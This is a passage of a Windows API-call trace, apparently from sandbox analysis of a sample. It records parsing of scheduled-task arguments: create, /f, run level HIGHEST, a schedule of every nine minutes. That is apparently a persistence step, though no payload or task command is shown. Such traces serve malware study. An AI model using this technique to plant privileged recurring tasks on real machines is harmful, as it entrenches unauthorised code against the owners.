(lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0134.856] SetLastError (dwErrCode=0x490) [0134.856] SetLastError (dwErrCode=0x0) [0134.856] _memicmp (_Buf1=0x30d490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.857] lstrlenW (lpString="HIGHEST") returned 7 [0134.857] lstrlenW (lpString="HIGHEST") returned 7 [0134.857] lstrlenW (lpString=" \x09") returned 2 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0134.857] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0134.857] GetLastError () returned 0x0 [0134.857] lstrlenW (lpString="HIGHEST") returned 7 [0134.857] lstrlenW (lpString="HIGHEST") returned 7 [0134.857] SetLastError (dwErrCode=0x0) [0134.857] SetLastError (dwErrCode=0x0) [0134.857] lstrlenW (lpString="/f") returned 2 [0134.857] lstrlenW (lpString="-/") returned 2 [0134.857] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.857] lstrlenW (lpString="create") returned 6 [0134.857] lstrlenW (lpString="create") returned 6 [0134.857] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.857] lstrlenW (lpString="f") returned 1 [0134.857] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.857] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.857] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.857] lstrlenW (lpString="|create|") returned 8 [0134.857] lstrlenW (lpString="|f|") returned 3 [0134.858] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0134.858] SetLastError (dwErrCode=0x490) [0134.858] lstrlenW (lpString="?") returned 1 [0134.858] lstrlenW (lpString="?") returned 1 [0134.858] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.858] lstrlenW (lpString="f") returned 1 [0134.858] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.858] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0134.858] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.858] lstrlenW (lpString="|?|") returned 3 [0134.858] lstrlenW (lpString="|f|") returned 3 [0134.858] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0134.858] SetLastError (dwErrCode=0x490) [0134.858] lstrlenW (lpString="s") returned 1 [0134.858] lstrlenW (lpString="s") returned 1 [0134.858] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.858] lstrlenW (lpString="f") returned 1 [0134.858] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.858] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0134.858] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.858] lstrlenW (lpString="|s|") returned 3 [0134.858] lstrlenW (lpString="|f|") returned 3 [0134.858] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0134.858] SetLastError (dwErrCode=0x490) [0134.858] lstrlenW (lpString="u") returned 1 [0134.858] lstrlenW (lpString="u") returned 1 [0134.858] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.859] lstrlenW (lpString="f") returned 1 [0134.859] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.859] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0134.859] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.859] lstrlenW (lpString="|u|") returned 3 [0134.859] lstrlenW (lpString="|f|") returned 3 [0134.859] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0134.859] SetLastError (dwErrCode=0x490) [0134.859] lstrlenW (lpString="p") returned 1 [0134.859] lstrlenW (lpString="p") returned 1 [0134.859] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.859] lstrlenW (lpString="f") returned 1 [0134.859] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.859] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0134.859] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.859] lstrlenW (lpString="|p|") returned 3 [0134.859] lstrlenW (lpString="|f|") returned 3 [0134.859] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0134.859] SetLastError (dwErrCode=0x490) [0134.859] lstrlenW (lpString="ru") returned 2 [0134.859] lstrlenW (lpString="ru") returned 2 [0134.859] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.859] lstrlenW (lpString="f") returned 1 [0134.859] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.859] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0134.859] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.860] lstrlenW (lpString="|ru|") returned 4 [0134.860] lstrlenW (lpString="|f|") returned 3 [0134.860] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0134.860] SetLastError (dwErrCode=0x490) [0134.860] lstrlenW (lpString="rp") returned 2 [0134.860] lstrlenW (lpString="rp") returned 2 [0134.860] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.860] lstrlenW (lpString="f") returned 1 [0134.860] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.860] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0134.860] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.860] lstrlenW (lpString="|rp|") returned 4 [0134.860] lstrlenW (lpString="|f|") returned 3 [0134.860] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0134.860] SetLastError (dwErrCode=0x490) [0134.860] lstrlenW (lpString="sc") returned 2 [0134.860] lstrlenW (lpString="sc") returned 2 [0134.860] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.860] lstrlenW (lpString="f") returned 1 [0134.860] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.860] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.860] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.860] lstrlenW (lpString="|sc|") returned 4 [0134.860] lstrlenW (lpString="|f|") returned 3 [0134.860] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0134.861] SetLastError (dwErrCode=0x490) [0134.861] lstrlenW (lpString="mo") returned 2 [0134.861] lstrlenW (lpString="mo") returned 2 [0134.861] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.861] lstrlenW (lpString="f") returned 1 [0134.861] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.861] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.861] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.861] lstrlenW (lpString="|mo|") returned 4 [0134.861] lstrlenW (lpString="|f|") returned 3 [0134.861] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0134.861] SetLastError (dwErrCode=0x490) [0134.861] lstrlenW (lpString="d") returned 1 [0134.861] lstrlenW (lpString="d") returned 1 [0134.861] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.861] lstrlenW (lpString="f") returned 1 [0134.861] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.861] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0134.861] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.861] lstrlenW (lpString="|d|") returned 3 [0134.861] lstrlenW (lpString="|f|") returned 3 [0134.861] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0134.861] SetLastError (dwErrCode=0x490) [0134.861] lstrlenW (lpString="m") returned 1 [0134.861] lstrlenW (lpString="m") returned 1 [0134.861] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.862] lstrlenW (lpString="f") returned 1 [0134.862] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.862] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0134.862] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.862] lstrlenW (lpString="|m|") returned 3 [0134.862] lstrlenW (lpString="|f|") returned 3 [0134.862] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0134.862] SetLastError (dwErrCode=0x490) [0134.862] lstrlenW (lpString="i") returned 1 [0134.862] lstrlenW (lpString="i") returned 1 [0134.862] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.862] lstrlenW (lpString="f") returned 1 [0134.862] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.862] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0134.862] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.862] lstrlenW (lpString="|i|") returned 3 [0134.862] lstrlenW (lpString="|f|") returned 3 [0134.862] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0134.862] SetLastError (dwErrCode=0x490) [0134.862] lstrlenW (lpString="tn") returned 2 [0134.862] lstrlenW (lpString="tn") returned 2 [0134.862] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.862] lstrlenW (lpString="f") returned 1 [0134.862] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.862] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.862] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.862] lstrlenW (lpString="|tn|") returned 4 [0134.863] lstrlenW (lpString="|f|") returned 3 [0134.863] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0134.863] SetLastError (dwErrCode=0x490) [0134.863] lstrlenW (lpString="tr") returned 2 [0134.863] lstrlenW (lpString="tr") returned 2 [0134.863] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.863] lstrlenW (lpString="f") returned 1 [0134.863] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.863] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.863] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.863] lstrlenW (lpString="|tr|") returned 4 [0134.863] lstrlenW (lpString="|f|") returned 3 [0134.863] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0134.863] SetLastError (dwErrCode=0x490) [0134.863] lstrlenW (lpString="st") returned 2 [0134.863] lstrlenW (lpString="st") returned 2 [0134.863] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.863] lstrlenW (lpString="f") returned 1 [0134.863] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.863] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|st|") returned 4 [0134.863] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.863] lstrlenW (lpString="|st|") returned 4 [0134.863] lstrlenW (lpString="|f|") returned 3 [0134.863] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0134.863] SetLastError (dwErrCode=0x490) [0134.863] lstrlenW (lpString="sd") returned 2 [0134.864] lstrlenW (lpString="sd") returned 2 [0134.864] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.864] lstrlenW (lpString="f") returned 1 [0134.864] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.864] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sd|") returned 4 [0134.864] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.864] lstrlenW (lpString="|sd|") returned 4 [0134.864] lstrlenW (lpString="|f|") returned 3 [0134.864] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0134.864] SetLastError (dwErrCode=0x490) [0134.864] lstrlenW (lpString="ed") returned 2 [0134.864] lstrlenW (lpString="ed") returned 2 [0134.864] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.864] lstrlenW (lpString="f") returned 1 [0134.864] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.864] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ed|") returned 4 [0134.864] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.864] lstrlenW (lpString="|ed|") returned 4 [0134.864] lstrlenW (lpString="|f|") returned 3 [0134.864] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0134.864] SetLastError (dwErrCode=0x490) [0134.864] lstrlenW (lpString="it") returned 2 [0134.864] lstrlenW (lpString="it") returned 2 [0134.864] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.864] lstrlenW (lpString="f") returned 1 [0134.864] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.865] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|it|") returned 4 [0134.865] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.865] lstrlenW (lpString="|it|") returned 4 [0134.865] lstrlenW (lpString="|f|") returned 3 [0134.865] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0134.865] SetLastError (dwErrCode=0x490) [0134.865] lstrlenW (lpString="et") returned 2 [0134.865] lstrlenW (lpString="et") returned 2 [0134.865] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.865] lstrlenW (lpString="f") returned 1 [0134.865] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.865] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|et|") returned 4 [0134.865] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.865] lstrlenW (lpString="|et|") returned 4 [0134.865] lstrlenW (lpString="|f|") returned 3 [0134.865] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0134.865] SetLastError (dwErrCode=0x490) [0134.865] lstrlenW (lpString="k") returned 1 [0134.865] lstrlenW (lpString="k") returned 1 [0134.865] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.865] lstrlenW (lpString="f") returned 1 [0134.865] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.865] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|k|") returned 3 [0134.865] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.865] lstrlenW (lpString="|k|") returned 3 [0134.865] lstrlenW (lpString="|f|") returned 3 [0134.866] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0134.866] SetLastError (dwErrCode=0x490) [0134.866] lstrlenW (lpString="du") returned 2 [0134.866] lstrlenW (lpString="du") returned 2 [0134.866] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.866] lstrlenW (lpString="f") returned 1 [0134.866] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.866] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|du|") returned 4 [0134.866] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.866] lstrlenW (lpString="|du|") returned 4 [0134.866] lstrlenW (lpString="|f|") returned 3 [0134.866] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0134.866] SetLastError (dwErrCode=0x490) [0134.866] lstrlenW (lpString="ri") returned 2 [0134.866] lstrlenW (lpString="ri") returned 2 [0134.866] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.866] lstrlenW (lpString="f") returned 1 [0134.866] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.866] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ri|") returned 4 [0134.866] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.866] lstrlenW (lpString="|ri|") returned 4 [0134.866] lstrlenW (lpString="|f|") returned 3 [0134.866] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0134.866] SetLastError (dwErrCode=0x490) [0134.866] lstrlenW (lpString="z") returned 1 [0134.866] lstrlenW (lpString="z") returned 1 [0134.866] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.867] lstrlenW (lpString="f") returned 1 [0134.867] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.867] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|z|") returned 3 [0134.867] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.867] lstrlenW (lpString="|z|") returned 3 [0134.867] lstrlenW (lpString="|f|") returned 3 [0134.867] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0134.867] SetLastError (dwErrCode=0x490) [0134.867] lstrlenW (lpString="f") returned 1 [0134.867] lstrlenW (lpString="f") returned 1 [0134.867] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.867] lstrlenW (lpString="f") returned 1 [0134.867] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.867] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.867] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.867] lstrlenW (lpString="|f|") returned 3 [0134.867] lstrlenW (lpString="|f|") returned 3 [0134.867] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0134.867] SetLastError (dwErrCode=0x0) [0134.867] SetLastError (dwErrCode=0x0) [0134.867] GetProcessHeap () returned 0x2f0000 [0134.867] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd20 [0134.867] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.867] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0134.867] lstrlenW (lpString="LIMITED") returned 7 [0134.867] GetProcessHeap () returned 0x2f0000 [0134.868] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d550 [0134.868] GetThreadLocale () returned 0x409 [0134.868] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0134.868] GetProcessHeap () returned 0x2f0000 [0134.868] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccf0 [0134.868] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.868] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0134.868] lstrlenW (lpString="HIGHEST") returned 7 [0134.868] GetProcessHeap () returned 0x2f0000 [0134.868] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d570 [0134.868] GetThreadLocale () returned 0x409 [0134.868] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0134.868] GetProcessHeap () returned 0x2f0000 [0134.868] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccc0 [0134.868] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.868] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0134.868] lstrlenW (lpString="MINUTE") returned 6 [0134.868] GetProcessHeap () returned 0x2f0000 [0134.868] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d590 [0134.868] GetThreadLocale () returned 0x409 [0134.868] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0134.869] SetLastError (dwErrCode=0x0) [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x1fc) returned 0x30c220 [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc90 [0134.869] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.869] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0134.869] lstrlenW (lpString="First") returned 5 [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xc) returned 0x30d5b0 [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc60 [0134.869] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.869] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0134.869] lstrlenW (lpString="Second") returned 6 [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d5d0 [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc30 [0134.869] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.869] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0134.869] lstrlenW (lpString="Third") returned 5 [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xc) returned 0x30d5f0 [0134.869] GetProcessHeap () returned 0x2f0000 [0134.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc00 [0134.869] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.870] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0134.870] lstrlenW (lpString="Fourth") returned 6 [0134.870] GetProcessHeap () returned 0x2f0000 [0134.870] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d610 [0134.870] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.870] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0134.870] lstrlenW (lpString="Last") returned 4 [0134.870] GetProcessHeap () returned 0x2f0000 [0134.870] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa) returned 0x30d630 [0134.870] lstrlenW (lpString="9") returned 1 [0134.870] _wtol (_String="9") returned 9 [0134.870] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.870] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0134.870] lstrlenW (lpString="First") returned 5 [0134.870] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.870] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0134.870] lstrlenW (lpString="Second") returned 6 [0134.871] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.871] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0134.871] lstrlenW (lpString="Third") returned 5 [0134.871] _memicmp 